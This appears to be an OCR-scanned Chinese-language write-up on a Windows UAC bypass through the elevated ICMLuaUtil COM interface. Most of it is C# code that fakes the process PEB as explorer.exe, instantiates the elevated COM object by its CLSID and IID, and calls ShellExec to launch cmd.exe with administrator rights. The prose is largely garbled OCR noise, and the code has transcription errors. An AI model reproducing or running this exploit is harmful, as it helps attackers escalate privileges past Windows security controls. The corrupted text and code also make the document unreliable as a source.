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Author: Oddvar MoeType: Elevated COM interface
Method: ICMLuaUtil

Target(s): Attacker defined

Component(s): Attacker defined

Implementation: ucmCMLuaUtilShellExecMethod
Works from: Windows 7 (7600)
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LIBRARY BypassUAC
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BypassUAC
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C: \Users\admin\Desktop\BypassUAC\x64\Release\ H ¢ T
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KPR ME S mIEERdLL, XA EFEH RMdILZ)E Tnativ
e dll,native dIIZENHFP MEHATIEH B TiE EReflective
DI1 Injection RDI HMATE. KEKIEAIIL to shellcode
exe to shellcode
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HAF 7 X E M. net flRA
I HEMoriarty

CHIMR A P EF EN Z2ICMLualtilBE O E X, H4 K HIUn
Known, 1% 01 E X R &2 -

IUnknown: :AddRefIUnknown: :QueryInterfaceIUnknown: :QueryInterface
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interface ILua

void

void

void

void

void

Methodl1();

Method2();

Method3();

Method4();

Method5();



void Method6();

[

HRESULT ShellExec(

[In, MarshalAs(UnmanagedType.LPWStr)] string

file,

[In, MarshalAs(UnmanagedType.LPWStr)] string
paramaters,

[In, MarshalAs(UnmanagedType.LPWStr)] string
directory,

[In] uint fMask,

[In] uint nShow);
}

ENMNXANEOFRHZ G, MEEALI, A6 HFEAE— P rundl
132. exe B 2am 4T, XEBMESHS —NEAR, WMasque
radePEB, B Rt 2 b3,

HOW#HEEEEREMHER Nc: \windows\explorer. exelX ™R G
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McfInitUnicodeString(procHandle, BaseDl1lNamePtr,

"explorer.exe");



McfInitUnicodeString(procHandle,
FullD11NamePtr,

$"{System.Environment.GetEnvironmentVariable("SystemRoot").ToLow

er()}\\explorer.exe");

B FOR A B — T R, BATH0 56 8RS 2 U il MasqueradePEB,
U R R, SRR A R R
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static void Main(string[] args)

{

Guid classId = new Guid("3ES5FC7F9-9A51-4367-9063-
A120244FBEC7");

Guid interfaceIld = new Guid("6EDD6D74-CO07-4E75-
B76A-E5740995E24C");

object elvObject = LaunchElevatedCOMObject(classId,

interfaceld);
if (elvObject != null)

{



ILua ihw = (ILua)elvObject;

ihw.ShellExec("c:\\windows\\system32\\cmd.exe",
null, null, @, 5);

Marshal.ReleaseComObject(elvObject);
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static void Main(string[] args)

{



Guid classId = Guid("3E5FC7F9-9A51-4367-9063-
A120244FBEC7");

Guid interfaceld = Guid("6EDD6D74-CO0O7-4E75-
B76A-E5740995E24C");

MasqueradePEB();

elvObject = LaunchElevatedCOMObject(classId,

interfaceld);

(elvObject != null)

ILua ihw = (ILua)elvObiject;

ihw.ShellExec("c:\\windows\\system32\\cmd.exe",
null, null, @, 5);

Marshal.ReleaseComObject(elvObject);
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